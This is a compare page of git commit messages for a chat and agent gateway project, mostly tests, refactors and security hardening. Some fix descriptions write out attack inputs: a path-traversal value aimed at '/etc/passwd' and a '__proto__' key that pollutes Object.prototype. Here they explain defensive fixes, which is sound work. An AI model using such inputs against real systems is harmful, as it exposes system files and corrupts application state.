Compare commits

..

413 Commits

Author SHA1 Message Date
add97e85f6 Update README.md
Some checks failed
CI / docs-scope (push) Has been cancelled
CI / changed-scope (push) Has been cancelled
CI / build-artifacts (push) Has been cancelled
CI / release-check (push) Has been cancelled
CI / checks (pnpm canvas:a2ui:bundle && bunx vitest run --config vitest.unit.config.ts, bun, test) (push) Has been cancelled
CI / checks (pnpm canvas:a2ui:bundle && pnpm test, node, test) (push) Has been cancelled
CI / checks (pnpm protocol:check, node, protocol) (push) Has been cancelled
CI / check (push) Has been cancelled
CI / dead-code report (pnpm deadcode:report:ci:knip, knip) (push) Has been cancelled
CI / dead-code report (pnpm deadcode:report:ci:ts-prune, ts-prune) (push) Has been cancelled
CI / dead-code report (pnpm deadcode:report:ci:ts-unused, ts-unused-exports) (push) Has been cancelled
CI / check-docs (push) Has been cancelled
CI / secrets (push) Has been cancelled
CI / checks-windows (pnpm canvas:a2ui:bundle && pnpm test, node, test) (push) Has been cancelled
CI / checks-windows (pnpm lint, node, lint) (push) Has been cancelled
CI / checks-windows (pnpm protocol:check, node, protocol) (push) Has been cancelled
CI / macos (push) Has been cancelled
CI / ios (push) Has been cancelled
CI / android (./gradlew --no-daemon :app:assembleDebug, build) (push) Has been cancelled
CI / android (./gradlew --no-daemon :app:testDebugUnitTest, test) (push) Has been cancelled
Install Smoke / docs-scope (push) Has been cancelled
Install Smoke / install-smoke (push) Has been cancelled
Workflow Sanity / no-tabs (push) Has been cancelled
Workflow Sanity / actionlint (push) Has been cancelled
Stale / stale (push) Has been cancelled
2026-02-22 05:02:25 +00:00
38487a211f Add install.sh
Some checks failed
CI / docs-scope (push) Has been cancelled
CI / changed-scope (push) Has been cancelled
CI / build-artifacts (push) Has been cancelled
CI / release-check (push) Has been cancelled
CI / checks (pnpm canvas:a2ui:bundle && bunx vitest run --config vitest.unit.config.ts, bun, test) (push) Has been cancelled
CI / checks (pnpm canvas:a2ui:bundle && pnpm test, node, test) (push) Has been cancelled
CI / checks (pnpm protocol:check, node, protocol) (push) Has been cancelled
CI / check (push) Has been cancelled
CI / dead-code report (pnpm deadcode:report:ci:knip, knip) (push) Has been cancelled
CI / dead-code report (pnpm deadcode:report:ci:ts-prune, ts-prune) (push) Has been cancelled
CI / dead-code report (pnpm deadcode:report:ci:ts-unused, ts-unused-exports) (push) Has been cancelled
CI / check-docs (push) Has been cancelled
CI / secrets (push) Has been cancelled
CI / checks-windows (pnpm canvas:a2ui:bundle && pnpm test, node, test) (push) Has been cancelled
CI / checks-windows (pnpm lint, node, lint) (push) Has been cancelled
CI / checks-windows (pnpm protocol:check, node, protocol) (push) Has been cancelled
CI / macos (push) Has been cancelled
CI / ios (push) Has been cancelled
CI / android (./gradlew --no-daemon :app:assembleDebug, build) (push) Has been cancelled
CI / android (./gradlew --no-daemon :app:testDebugUnitTest, test) (push) Has been cancelled
Install Smoke / docs-scope (push) Has been cancelled
Install Smoke / install-smoke (push) Has been cancelled
Workflow Sanity / no-tabs (push) Has been cancelled
Workflow Sanity / actionlint (push) Has been cancelled
Docker Release / build-amd64 (push) Has been cancelled
Docker Release / build-arm64 (push) Has been cancelled
Docker Release / create-manifest (push) Has been cancelled
2026-02-22 04:48:42 +00:00
Vignesh Natarajan
961bde27fe Cron: guard missing expr in schedule parsing 2026-02-21 20:18:11 -08:00
Vignesh Natarajan
eea0a68199 chore: make tui callback invocation tsgo-safe 2026-02-21 20:05:25 -08:00
Vignesh Natarajan
2b5952f8c3 chore: fix tui test callback narrowing for CI 2026-02-21 20:03:32 -08:00
Vignesh Natarajan
c51c2a2dca Slack: preserve slash options receiver binding 2026-02-21 20:01:39 -08:00
Tak Hoffman
2e9ee22a9c UI: fix light-mode chat toggle active state 2026-02-21 21:55:21 -06:00
Vignesh Natarajan
8920e281cc Plugins: allowlist plugins when enabling from CLI 2026-02-21 19:37:26 -08:00
Vignesh Natarajan
483c464b62 Gateway: preserve token scopes on scope-less repair approvals 2026-02-21 19:37:15 -08:00
Vignesh Natarajan
55d492b4cd Gateway: allow operator admin scope for pairing and approvals 2026-02-21 19:37:04 -08:00
Vignesh Natarajan
68cb4fc8a1 TUI: render sending and waiting indicators immediately 2026-02-21 19:28:42 -08:00
Vignesh Natarajan
68b92e80f7 Agents: log lifecycle error text for embedded run failures 2026-02-21 19:24:45 -08:00
Vignesh Natarajan
35fe33aa90 Agents: classify Anthropic api_error internal server failures for fallback 2026-02-21 19:22:16 -08:00
Vignesh Natarajan
a10d689860 TUI: coalesce multiline paste submits on macOS terminals 2026-02-21 19:19:55 -08:00
Vignesh Natarajan
f2d664e24f Gateway: deep-compare array config paths for reload diff 2026-02-21 19:17:46 -08:00
Vignesh Natarajan
2830dafbe9 Cron: keep list/status responsive during startup catch-up 2026-02-21 19:13:04 -08:00
Vignesh Natarajan
c45a5c551f Agents: preserve unsafe integer tool args in Ollama stream 2026-02-21 19:08:31 -08:00
Vignesh Natarajan
4550a52007 TUI: filter model picker to allowlisted models 2026-02-21 19:03:15 -08:00
Andrew Jeon
853ae626fa feat: add Korean language support for memory search query expansion (#18899)
* feat: add Korean stop words and tokenization for memory search

* fix: address review comments on Korean query expansion

* fix: lint errors - curly brace and toSorted

* fix(memory): improve Korean stop words and deduplicate

* Memory: tighten Korean query expansion filtering

* Docs/Changelog: credit Korean memory query expansion

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-21 21:33:30 -05:00
Vignesh Natarajan
5b4409d5d0 fix: pairing admin satisfies write (#23125) (thanks @vignesh07) 2026-02-21 18:25:13 -08:00
vignesh07
426d97797d fix(pairing): treat operator.admin as satisfying operator.write 2026-02-21 18:25:13 -08:00
vignesh07
a37e12eabc docs(changelog): credit nicole-luxe for mcporter QMD work 2026-02-21 17:32:59 -08:00
Vincent Koc
7a6ff4c55a docs(changelog): credit BlueBubbles DM history fix (#23095) 2026-02-21 20:03:17 -05:00
Ryan Haines
75a9ea004b Fix BlueBubbles DM history backfill bug (#20302)
* feat: implement DM history backfill for BlueBubbles

- Add fetchBlueBubblesHistory function to fetch message history from API
- Modify processMessage to fetch history for both groups and DMs
- Use dmHistoryLimit for DMs and historyLimit for groups
- Add InboundHistory field to finalizeInboundContext call

Fixes #20296

* style: format with oxfmt

* address review: in-memory history cache, resolveAccount try/catch, include is_from_me

- Wrap resolveAccount in try/catch instead of unreachable guard (it throws)
- Include is_from_me messages with 'me' sender label for full conversation context
- Add in-memory rolling history map (chatHistories) matching other channel patterns
- API backfill only on first message per chat, not every incoming message
- Remove unused buildInboundHistoryFromEntries import

* chore: remove unused buildInboundHistoryFromEntries helper

Dead code flagged by Greptile — mapping is done inline in
monitor-processing.ts.

* BlueBubbles: harden DM history backfill state handling

* BlueBubbles: add bounded exponential backoff and history payload guards

* BlueBubbles: evict merged history keys

* Update extensions/bluebubbles/src/monitor-processing.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: Ryan Mac Mini <ryanmacmini@ryans-mac-mini.tailf78f8b.ts.net>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-21 20:00:09 -05:00
Vignesh
3317b49d3b feat(memory): allow QMD searches via mcporter keep-alive (openclaw#19617) thanks @vignesh07
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: vignesh07 <1436853+vignesh07@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 18:54:33 -06:00
Peter Steinberger
2e8e357bf7 test(telegram): use mockClear in per-case bot setup loops 2026-02-21 23:59:08 +00:00
Peter Steinberger
057233953e test(retry): table-drive retryAfter timer cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
1381c4c64a test(telegram): replace redundant bot setup mock resets with clears 2026-02-21 23:58:33 +00:00
Peter Steinberger
5af39b051d test(telegram): dedupe send fallback/media fixtures and trim reset overhead 2026-02-21 23:58:33 +00:00
Peter Steinberger
dfe0483d80 test(browser): table-drive scroll and click error rewrites 2026-02-21 23:58:33 +00:00
Peter Steinberger
8083cb8e0b test(web-fetch): dedupe blocked-url SSRF assertions 2026-02-21 23:58:33 +00:00
Peter Steinberger
a97992fcf2 test(pi-tools): share safeBins e2e setup and teardown 2026-02-21 23:58:33 +00:00
Peter Steinberger
ba23d2b1fe test(onboard): table-drive custom api flag rejection cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
8cc3a5e460 test(doctor): tighten legacy migration e2e timeout budgets 2026-02-21 23:58:33 +00:00
Peter Steinberger
012654c7c5 test(sandbox): table-drive dangerous docker config rejection cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
a353dae14f test(image-tool): share temp agent dirs and table-drive validation cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
150c048b0a refactor: unify discord listener slow-log flow and test helpers 2026-02-22 00:44:56 +01:00
Peter Steinberger
f589295a0a test(actions): table-drive discord presence mappings 2026-02-21 23:44:01 +00:00
Peter Steinberger
0afd5d38c5 test(actions): table-drive discord reaction and permission cases 2026-02-21 23:43:01 +00:00
Peter Steinberger
2595690a4d test(actions): table-drive slack and telegram action cases 2026-02-21 23:43:01 +00:00
Peter Steinberger
7707e3406c fix: await DiscordMessageListener handler for queued messages (#22396)
Co-authored-by: Irene <huangxiyan2311@gmail.com>
2026-02-22 00:41:46 +01:00
Peter Steinberger
8922cb4085 test(sandbox): share sandbox-root setup across path cases 2026-02-21 23:38:43 +00:00
Peter Steinberger
548c227411 test: fix nodes camera case typing for CI 2026-02-22 00:38:36 +01:00
Peter Steinberger
6ea47c3f02 test(outbound): table-drive pre-aborted action cases 2026-02-21 23:37:12 +00:00
Peter Steinberger
8af676edb3 test: tighten web and cron cli timeout budgets 2026-02-21 23:36:24 +00:00
Peter Steinberger
204f379f6b test(archive): share zip/tar fixture generation 2026-02-21 23:35:21 +00:00
Peter Steinberger
9aa5b5d157 test(logging): dedupe stream and state-dir env assertions 2026-02-21 23:34:38 +00:00
Peter Steinberger
ffd9b86ca4 test(ssrf): table-drive blocked hostname literal checks 2026-02-21 23:33:47 +00:00
Peter Steinberger
e84d89ab06 test(gateway): extract shared parse warning helper 2026-02-21 23:32:32 +00:00
Peter Steinberger
d3991d6aa9 fix: harden sandbox tmp media validation (#17892) (thanks @dashed) 2026-02-22 00:31:21 +01:00
Alberto Leal
2958a8414d test(media): narrow result kind before sendResult assertion 2026-02-22 00:31:21 +01:00
Alberto Leal
8934da785b test(media): verify tmpdir media paths allowed through message action runner
Add integration test confirming that runMessageAction with a sandbox
root now accepts media paths under os.tmpdir() through the full
normalization pipeline (normalizeSandboxMediaList → resolveSandboxedMediaSource).
2026-02-22 00:31:21 +01:00
Alberto Leal
0bb81f7294 fix(media): allow os.tmpdir() paths in sandbox media source validation
resolveSandboxedMediaSource() rejected all paths outside the sandbox
workspace root, including /tmp. This blocked sandboxed agents from
sending locally-generated temp files (e.g. images from Python scripts)
via messaging actions.

Add an os.tmpdir() prefix check before the strict sandbox containment
assertion, consistent with buildMediaLocalRoots() which already
includes os.tmpdir() in its default allowlist. Path traversal through
/tmp (e.g. /tmp/../etc/passwd) is prevented by path.resolve()
normalization before the prefix check.

Relates-to: #16382, #14174
2026-02-22 00:31:21 +01:00
Alberto Leal
4cf5c3e109 test: add unit tests for resolveSandboxedMediaSource
Add baseline test coverage for the previously untested
resolveSandboxedMediaSource() function, covering sandbox-relative
path resolution, rejection of paths outside the sandbox root,
path traversal prevention, file:// URL handling, HTTP URL
passthrough, and empty input edge cases.
2026-02-22 00:31:21 +01:00
Peter Steinberger
59563847e4 test(web): table-drive SSRF and voice input rejection cases 2026-02-21 23:30:13 +00:00
Peter Steinberger
d748657265 test(gateway): table-drive runtime config validation matrix 2026-02-21 23:29:29 +00:00
Peter Steinberger
4ab85cee0b test(cli): table-drive repeated argv and byte-size checks 2026-02-21 23:28:07 +00:00
Peter Steinberger
fc2ed0b843 test(cron): dedupe webhook patch validation cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
bcfae0434b test(fetch): table-drive sync throw cleanup coverage 2026-02-21 23:28:07 +00:00
Peter Steinberger
833144fd72 test(gateway): tighten e2e timeout budget 2026-02-21 23:28:07 +00:00
Peter Steinberger
dd4e8f8098 test(cli): table-drive camera url failure cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
c9593c4c87 test(sandbox): table-drive bind and network validation cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
7c248cca4a test(targets): table-drive slack and discord parse cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
98790339ef test: dedupe repeated validation and throw assertions 2026-02-21 23:28:07 +00:00
Peter Steinberger
01ec832f78 test(actions): table-drive telegram and signal mappings 2026-02-21 23:28:06 +00:00
Peter Steinberger
884c6afc26 test(telegram): table-drive channel override and id helper cases 2026-02-21 23:28:06 +00:00
Peter Steinberger
b97691f3a7 test(config): avoid duplicate include resolution in throw assertions 2026-02-21 23:28:06 +00:00
Peter Steinberger
c78ea8ec3f test(gateway): tighten health e2e timeout ceilings 2026-02-21 23:28:06 +00:00
Peter Steinberger
8cdb184f10 test(actions): table-drive discord forwarding cases 2026-02-21 23:28:06 +00:00
Peter Steinberger
95dab6e019 fix: harden config prototype-key guards (#22968) (thanks @Clawborn) 2026-02-22 00:25:22 +01:00
Clawborn
e23c08b5f4 Fix prototype pollution in applyMergePatch via blocked key filter
applyMergePatch in merge-patch.ts iterates Object.entries(patch) without
filtering dangerous keys. When a caller passes a JSON-parsed object with
a "__proto__" key, the loop assigns result["__proto__"] = value, which
replaces the prototype of result and pollutes Object.prototype for the
entire process.

Add a BLOCKED_KEYS set ({"__proto__", "constructor", "prototype"}) and
skip those keys during iteration, matching the guard already present in
deepMerge (includes.ts) via isBlockedObjectKey.

Adds four tests covering __proto__, constructor, prototype, and nested
__proto__ injection.

Co-authored-by: Clawborn <tianrun.yang103@gmail.com>
2026-02-22 00:25:22 +01:00
Peter Steinberger
780bbbd062 fix: restore CI checks after #23012 (thanks @druide67) 2026-02-22 00:16:15 +01:00
Peter Steinberger
1ef30b82b2 fix(test): guard optional forum topic options 2026-02-22 00:10:07 +01:00
Peter Steinberger
843a037532 fix(test): repair readonly case table typing 2026-02-22 00:10:07 +01:00
Peter Steinberger
8394f0e30e fix(test): resolve outbound envelope case typing 2026-02-22 00:10:07 +01:00
Peter Steinberger
8752203f59 refactor(test): stabilize case tables and readonly helper inputs 2026-02-22 00:10:07 +01:00
Jean-Marc
03586e3d00 feat(channels): add Synology Chat native channel (#23012)
* feat(channels): add Synology Chat native channel

Webhook-based integration with Synology NAS Chat (DSM 7+).
Supports outgoing webhooks, incoming messages, multi-account,
DM policies, rate limiting, and input sanitization.

- HMAC-based constant-time token validation
- Configurable SSL verification (allowInsecureSsl) for self-signed NAS certs
- 54 unit tests across 5 test suites
- Follows the same ChannelPlugin pattern as LINE/Discord/Telegram

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(synology-chat): add pairing, warnings, messaging, agent hints

- Enable media capability (file_url already supported by client)
- Add pairing.notifyApproval to message approved users
- Add security.collectWarnings for missing token/URL, insecure SSL, open DM policy
- Add messaging.normalizeTarget and targetResolver for user ID resolution
- Add directory stubs (self, listPeers, listGroups)
- Add agentPrompt.messageToolHints with Synology Chat formatting guide
- 63 tests (up from 54), all passing

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 00:09:58 +01:00
Peter Steinberger
fbf0c99d7c test(security): simplify repeated audit finding assertions 2026-02-21 23:09:15 +00:00
Peter Steinberger
d5cc357737 test(telegram): table-drive sticker and forum-topic cases 2026-02-21 23:07:58 +00:00
Peter Steinberger
b1c50cc5c0 test(browser): tighten relay test watchdog timeouts 2026-02-21 23:07:58 +00:00
Peter Steinberger
1534248169 test(telegram): dedupe shared reply/chat-not-found cases 2026-02-21 23:07:58 +00:00
Marcus Widing
fa4e4efd92 fix(gateway): restore localhost Control UI pairing when allowInsecureAuth is set (#22996)
* fix(gateway): allow localhost Control UI without device identity when allowInsecureAuth is set

* fix(gateway): pass isLocalClient to evaluateMissingDeviceIdentity

* test: add regression tests for localhost Control UI pairing

* fix(gateway): require pairing for legacy metadata upgrades

* test(gateway): fix legacy metadata e2e ws typing

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-22 00:04:52 +01:00
Peter Steinberger
bfe016fa29 fix: clear stale remote discovery endpoints (#21618) (thanks @bmendonca3) 2026-02-22 00:04:36 +01:00
Peter Steinberger
37d5320f6b test: tighten canvas host websocket watchdog timeouts 2026-02-21 23:02:44 +00:00
Peter Steinberger
5164822cd5 test: table-drive status reactions and session key cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
389630fc64 test: table-drive internal hook type-guard cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
4a2ff03f49 test: dedupe channel/web cases and tighten gateway e2e waits 2026-02-21 23:02:44 +00:00
Peter Steinberger
c708a18b0f test: table-drive utils and channel-match cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
1b0e021e91 test(telegram): table-drive pairing DM scenarios 2026-02-21 23:02:44 +00:00
Peter Steinberger
f3d4045c03 test: matrix owner and timezone system-prompt cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
0e39371dc4 test: dedupe command gating coverage tables 2026-02-21 23:02:44 +00:00
Peter Steinberger
b2de8719ad test(gateway): normalize canvas ws watchdog timeouts 2026-02-21 23:02:44 +00:00
Peter Steinberger
7731f28a24 test(ui): matrix chat indicator rendering cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
5fd1d2cadc test(ui): collapse session key/display name fixtures 2026-02-21 23:02:44 +00:00
Peter Steinberger
81a85c19ff test(gateway): tighten e2e timeouts and dedupe invoke checks 2026-02-21 23:02:44 +00:00
Peter Steinberger
1baac3e31d test(ui): consolidate navigation/scroll/format matrices 2026-02-21 23:02:44 +00:00
Peter Steinberger
0bd9f0d4ac fix: enforce strict allowlist across pairing stores (#23017) 2026-02-22 00:00:23 +01:00
Brian Mendonca
617e38cec0 Security/macos: enforce wss for non-loopback direct gateway 2026-02-21 23:57:34 +01:00
Brian Mendonca
8942ac04a8 fix(security): fail closed on unauthenticated discovery routing 2026-02-21 23:57:34 +01:00
Brian Mendonca
21087c5c70 test: fix rebase-introduced tsgo regressions 2026-02-21 23:57:34 +01:00
Brian Mendonca
1357e02cff test: stabilize internal hook error assertions 2026-02-21 23:57:34 +01:00
Brian Mendonca
69cedc7a15 test: make brew fallback assertion windows-safe 2026-02-21 23:57:34 +01:00
Brian Mendonca
6c813bd32b test: avoid asserting auth.json absence for invalid profile creds 2026-02-21 23:57:34 +01:00
Brian Mendonca
4414af977a test: guard inline keyboard fixture against undefined input 2026-02-21 23:57:34 +01:00
Brian Mendonca
a186036814 test: fix latest tsgo inference regressions in test suites 2026-02-21 23:57:34 +01:00
Brian Mendonca
d12817994f test: stabilize model catalog and auth-sync assertions across runtimes 2026-02-21 23:57:34 +01:00
Brian Mendonca
60c735dd98 test: normalize outbound payload fixture typing 2026-02-21 23:57:34 +01:00
Brian Mendonca
828f4e18e0 test: finish readonly fixture compatibility for CI check 2026-02-21 23:57:34 +01:00
Brian Mendonca
c7c047287e test: fix readonly typing regressions in check baseline 2026-02-21 23:57:34 +01:00
Gustavo Madeira Santana
0e1aa77928 chore(tsgo/format): fix CI errors 2026-02-21 17:51:56 -05:00
bmendonca3
6ac89757ba Security/Gateway: harden Control UI static path containment (#21203)
* Security/Gateway: harden Control UI static path containment

* gateway: block control-ui symlink escapes

* CI: retrigger flaky node test lane

---------

Co-authored-by: Brian Mendonca <brianmendonca@Brians-MacBook-Air.local>
2026-02-21 23:47:51 +01:00
Peter Steinberger
71bd15bb42 fix(ssrf): block special-use ipv4 ranges 2026-02-21 23:45:49 +01:00
Gustavo Madeira Santana
2f46308d5a refactor(logging): migrate non-agent internal console calls to subsystem logger (#22964)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b4a5b12422
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-21 17:44:00 -05:00
Peter Steinberger
4ef4aa3c10 refactor(gateway): streamline control-ui secure file serving 2026-02-21 23:36:55 +01:00
Peter Steinberger
0608587bc3 test: streamline config, audit, and qmd coverage 2026-02-21 22:23:43 +00:00
Peter Steinberger
a9227f571b test: dedupe telegram formatting and send cases 2026-02-21 22:23:43 +00:00
Peter Steinberger
21b0eac917 test: consolidate infra approval and heartbeat test matrices 2026-02-21 22:23:43 +00:00
Gustavo Madeira Santana
738e2c21dd chore(tests): properly check logging in tests 2026-02-21 17:21:48 -05:00
Peter Steinberger
dea154ccae docs(changelog): add control-ui symlink hardening entry 2026-02-21 23:19:35 +01:00
Peter Steinberger
b34097f62d fix(security): enforce msteams redirect allowlist checks 2026-02-21 23:18:48 +01:00
Peter Steinberger
1bc5c2a7e9 refactor: unify exec shell parser parity and gateway websocket test helpers 2026-02-21 23:17:12 +01:00
Harry Cui Kepler
ffa63173e0 refactor(agents): migrate console.warn/error/info to subsystem logger (#22906)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a806c4cb27
Co-authored-by: Kepler2024 <166882517+Kepler2024@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-21 17:11:47 -05:00
Peter Steinberger
1257aee6e1 docs(agents): note ghsa severity cvss patch constraint 2026-02-21 23:10:55 +01:00
Peter Steinberger
7c500ff623 fix(security): harden control-ui static path resolution 2026-02-21 23:10:55 +01:00
Peter Steinberger
2028ca4428 fix(macos): unify exec allowlist validation pipeline 2026-02-21 23:09:07 +01:00
Peter Steinberger
61dc7ac679 refactor(msteams,bluebubbles): dedupe inbound media download helpers 2026-02-21 23:08:07 +01:00
Peter Steinberger
73d93dee64 fix: enforce inbound media max-bytes during remote fetch 2026-02-21 23:02:29 +01:00
Peter Steinberger
dd41fadcaf fix(macos): enforce path-only exec allowlist patterns 2026-02-21 22:58:40 +01:00
Peter Steinberger
2712883d16 docs(changelog): clarify quoted substitution fix for macOS allowlist 2026-02-21 22:57:53 +01:00
Peter Steinberger
90a378ca3a fix(macos): block quoted shell substitution in allowlist checks 2026-02-21 22:57:53 +01:00
Peter Steinberger
861718e4dc test: group remaining suite cleanups 2026-02-21 21:44:57 +00:00
Peter Steinberger
5c8f0b5a77 test: tighten plugin e2e matrix coverage 2026-02-21 21:44:50 +00:00
Peter Steinberger
cc2ff68947 test: optimize gateway infra memory and security coverage 2026-02-21 21:44:50 +00:00
Peter Steinberger
58254b3b57 test: dedupe channel and transport adapters 2026-02-21 21:44:01 +00:00
Peter Steinberger
52ddb6ae18 test: streamline auto-reply and tts suites 2026-02-21 21:44:01 +00:00
Peter Steinberger
5d9e7c942c test: consolidate agent command and config scenarios 2026-02-21 21:44:01 +00:00
Peter Steinberger
a1ccd03da0 refactor(cli): share outbound send dependency mapping 2026-02-21 21:40:39 +00:00
Peter Steinberger
84686db850 refactor(cli): dedupe system gateway action handling 2026-02-21 21:40:39 +00:00
Peter Steinberger
a04cdc0390 refactor(cli): share update global command runner adapter 2026-02-21 21:40:39 +00:00
Peter Steinberger
944913fc98 refactor(cli): extract shared command-removal and timeout action helpers 2026-02-21 21:40:39 +00:00
Peter Steinberger
bb490a4b51 test(cli): expand agent registrar coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
b5a66e7b7e test(cli): add message registrar wiring coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
fecc29d2c8 test(cli): add onboard registrar coverage for daemon flag precedence 2026-02-21 21:40:39 +00:00
Peter Steinberger
3d2f4aea63 test(cli): add setup registrar coverage for wizard dispatch 2026-02-21 21:40:39 +00:00
Peter Steinberger
bd8b3cd15e test(cli): add configure registrar coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
580417685b test(cli): add build-program wiring coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
1c78ade1a1 test(cli): add program help coverage for root output and version fast-path 2026-02-21 21:40:39 +00:00
Peter Steinberger
ceaa43df7a test(cli): add preaction hook coverage for banner/config/plugin gating 2026-02-21 21:40:39 +00:00
Peter Steinberger
d5bfbc36d8 test(cli): add program context unit coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
0f36cbe677 test(cli): add program helper parser coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
ab3fa83f17 test(cli): add action-reparse coverage for fallback argv resolution 2026-02-21 21:40:39 +00:00
Peter Steinberger
5de9419748 test(cli): add status/health/sessions registrar coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
938fb652b5 fix(cli): honor dashboard no-open and expand maintenance coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
6de7f9d9b0 test(cli): dedupe config-guard harness and cover invalid-config gates 2026-02-21 21:40:39 +00:00
Peter Steinberger
4503bd0591 test(cli): expand command-registry grouped and subcommand coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
037da5d8a8 test(cli): extend command option inheritance edge coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
cdb92494d1 test(cli): dedupe inspect runner and cover snapshot/screenshot mode defaults 2026-02-21 21:40:39 +00:00
Peter Steinberger
81ddc98e12 test(cli): dedupe browser state command runner and cover input validation 2026-02-21 21:40:39 +00:00
Peter Steinberger
8581e6b52d test(cli): dedupe route assertions and cover missing-flag guards 2026-02-21 21:40:39 +00:00
Peter Steinberger
adedacbfe1 test(cron): dedupe delivery-target whatsapp stubs and cover sessionKey fallback 2026-02-21 21:40:39 +00:00
Peter Steinberger
04a23f45b7 test(channels): dedupe whatsapp heartbeat fixtures and cover recipient sources 2026-02-21 21:40:39 +00:00
Peter Steinberger
42e181dd4b test(web): dedupe inbound cfg fixtures and cover reply/from formatting 2026-02-21 21:40:39 +00:00
Peter Steinberger
2d62685ff0 test(cli): dedupe memory runtime spies and cover json/search fallback flows 2026-02-21 21:40:39 +00:00
Peter Steinberger
e46634db9a test(media): dedupe server fixture helpers and cover 404/id validation 2026-02-21 21:40:39 +00:00
Peter Steinberger
dc7ec65c8f test(web): dedupe mention assertions and cover diagnostics helpers 2026-02-21 21:40:39 +00:00
Peter Steinberger
e2a50228a1 test(browser): dedupe chrome mocks and cover SIGKILL escalation 2026-02-21 21:40:39 +00:00
Peter Steinberger
00ab894feb test(cli): dedupe acp program setup and cover token-file errors 2026-02-21 21:40:39 +00:00
Peter Steinberger
7bfbbd6309 test(version): dedupe fixture setup and cover invalid URL/version metadata 2026-02-21 21:40:39 +00:00
Peter Steinberger
bd74d49169 test(cli): dedupe camera temp fixtures and cover clip url error paths 2026-02-21 21:40:39 +00:00
Peter Steinberger
59189750e4 test(browser): dedupe path fixture calls and cover root resolvers 2026-02-21 21:40:39 +00:00
Peter Steinberger
0f9ea0229a test(infra): dedupe install-source fixtures and cover npm pack parsing 2026-02-21 21:40:39 +00:00
Peter Steinberger
f9e21d5720 test(infra): dedupe gateway-lock setup and cover guard paths 2026-02-21 21:40:39 +00:00
Peter Steinberger
b01335830d test(pairing): dedupe fixture writers and expand store coverage 2026-02-21 21:40:39 +00:00
Peter Steinberger
c45ef5f8b5 test(line): dedupe event fixtures and cover room postback routing 2026-02-21 21:40:39 +00:00
Peter Steinberger
1794f42ac0 test(config): dedupe io fixture wiring and cover legacy config-path override 2026-02-21 21:40:39 +00:00
Peter Steinberger
d35a8b48f5 test(infra): dedupe archive case setup and cover packed-root multi-dir failure 2026-02-21 21:40:39 +00:00
Peter Steinberger
544a1142b0 test(agents): dedupe skill helper fixtures and cover empty-body rendering 2026-02-21 21:40:39 +00:00
Peter Steinberger
822688dc13 test(infra): dedupe store temp fixtures and cover json5 voicewake sanitization 2026-02-21 21:40:39 +00:00
Peter Steinberger
a418c6db06 test(agents): dedupe agent-path fixtures and cover env override precedence 2026-02-21 21:40:39 +00:00
Peter Steinberger
6fd31fc0b0 test(browser): dedupe invalid-path assertions and cover blank path rejection 2026-02-21 21:40:39 +00:00
Peter Steinberger
2000dcdcd0 test(memory): dedupe temp-dir lifecycle hooks and cover overlapping path dedupe 2026-02-21 21:40:39 +00:00
Peter Steinberger
6051dc10ff test(scripts): dedupe a2ui temp fixture and cover skip-missing env path 2026-02-21 21:40:39 +00:00
Peter Steinberger
d6c2fd5453 test(web): dedupe logout fixture setup and cover non-legacy oauth removal 2026-02-21 21:40:39 +00:00
Peter Steinberger
bdfb979940 test(cli): dedupe camera fetch stubs and cover empty-body download rejection 2026-02-21 21:40:39 +00:00
Peter Steinberger
31a0449f69 test(core): dedupe temp dirs in utils tests and cover lid lookup error fallback 2026-02-21 21:40:39 +00:00
Peter Steinberger
c93fc3786c test(infra): dedupe brew fixtures and cover explicit brew file precedence 2026-02-21 21:40:39 +00:00
Peter Steinberger
2042a69211 test(infra): dedupe dotenv fixture setup and cover fallback-only load 2026-02-21 21:40:39 +00:00
Peter Steinberger
c394c5fa99 test(daemon): dedupe schtasks install fixture and cover empty env omission 2026-02-21 21:40:39 +00:00
Peter Steinberger
d015dc9216 test(cron): dedupe run-log temp fixtures and cover invalid line filtering 2026-02-21 21:40:39 +00:00
Peter Steinberger
7036352d94 test(config): dedupe temp roots and cover legacy state-dir fallback 2026-02-21 21:40:39 +00:00
Peter Steinberger
5d61afb362 test(commands): dedupe signal install extract fixture and cover zip extract 2026-02-21 21:40:39 +00:00
Peter Steinberger
3274a1b804 test(gateway): dedupe control-ui fixture setup and cover query asset 404 2026-02-21 21:40:39 +00:00
